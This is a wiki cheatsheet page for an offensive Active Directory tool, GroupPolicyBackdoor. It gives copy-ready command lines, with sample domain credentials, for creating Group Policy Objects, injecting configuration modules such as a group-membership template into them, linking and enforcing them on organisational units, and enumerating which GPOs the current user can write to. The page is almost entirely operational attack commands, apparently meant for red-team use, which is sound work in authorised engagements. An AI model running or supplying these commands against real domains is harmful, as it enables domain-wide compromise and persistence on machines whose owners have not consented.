Skip to content

06_Commands and Cheatsheet

q-roland edited this page Aug 20, 2025 · 1 revision

This section lists example command-lines for GroupPolicyBackdoor actions.

gpo

# Create a GPO called "TESTING"
$ python3 gpb.py gpo create -d corp.com --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -n 'TESTING3' --ldaps -v

# Delete the GPO called "TESTING"
$ python3 gpb.py gpo delete -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' --ldaps -n 'TESTING' --ldaps -v

# Inject a configuration into a GPO called "TESTING"
$ python3 gpb.py gpo inject -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!'  -m modules_templates/Groups_add.ini -n 'TESTING' --ldaps -v

# Remove an injected configuration from the GPO called "TESTING"
$ python3 gpb.py gpo clean -d corp.com --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -sf 'state_folders/2025_07_15_075047' --ldaps -v

links

# Link the GPO called "TESTING" to the container "OU=SERVERS,DC=corp,DC=com"
$ python3 gpb.py links link -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -n 'TESTING' -o 'OU=SERVERS,DC=corp,DC=com' --ldaps -v

# Unlink the GPO called "TESTING" from the container "OU=SERVERS,DC=corp,DC=com"
$ python3 gpb.py links unlink -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -n 'TESTING' -o 'OU=SERVERS,DC=corp,DC=com' --ldaps -v

# Enforce the link of the GPO called "TESTING" on the container "OU=SERVERS,DC=corp,DC=com"
$ python3 gpb.py links configure -d corp.com --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -o 'OU=SERVERS,DC=corp,DC=com' -n 'TESTING' -a 'enforce' --ldaps -v

# Remove the enforce status of the link of the GPO called "TESTING" on the container "OU=SERVERS,DC=corp,DC=com"
$ python3 gpb.py links configure -d corp.com --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -o 'OU=SERVERS,DC=corp,DC=com' -n 'TESTING' -a 'unenforce' --ldaps -v

# Disable the link of the GPO called "TESTING" on the container "OU=SERVERS,DC=corp,DC=com"
$ python3 gpb.py links configure -d corp.com --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -o 'OU=SERVERS,DC=corp,DC=com' -n 'TESTING' -a 'disable' --ldaps -v

# Enable the link of the GPO called "TESTING" on the container "OU=SERVERS,DC=corp,DC=com"
$ python3 gpb.py links configure -d corp.com --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -o 'OU=SERVERS,DC=corp,DC=com' -n 'TESTING' -a 'enable' --ldaps -v

enum

# List the GPOs of the corp.com domain
$ python3 gpb.py enum list-gpos -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' --ldaps -v

# Get details on the GPO called "TESTING"
$ python3 gpb.py enum gpo-details -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -n 'TESTING' --ldaps -v

# Get details on the GPO called "TESTING", and check if current user has write permissions over it
$ python3 gpb.py enum gpo-details -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1!' -n 'TESTING' --check-write --ldaps -v

restore

# Perform a backup for the "TESTING" GPO to the local folder "./backups/TESTING"
$ python3 gpb.py restore backup -d 'corp.com' --dc 'ad01-dc.corp.com' -o './backups/TESTING' -u 'john' -p 'Password1' -n 'TESTING' -v --ldaps

# If something went wrong during a GPB command execution (e.g. network disruption or unexpected error), attempt to undo the actions performed by the command
python3 gpb.py restore undo -d 'corp.com' --dc 'ad01-dc.corp.com' -u 'john' -p 'Password1' -sf 'state_folders/2025_07_15_141922' --ldaps -v

Clone this wiki locally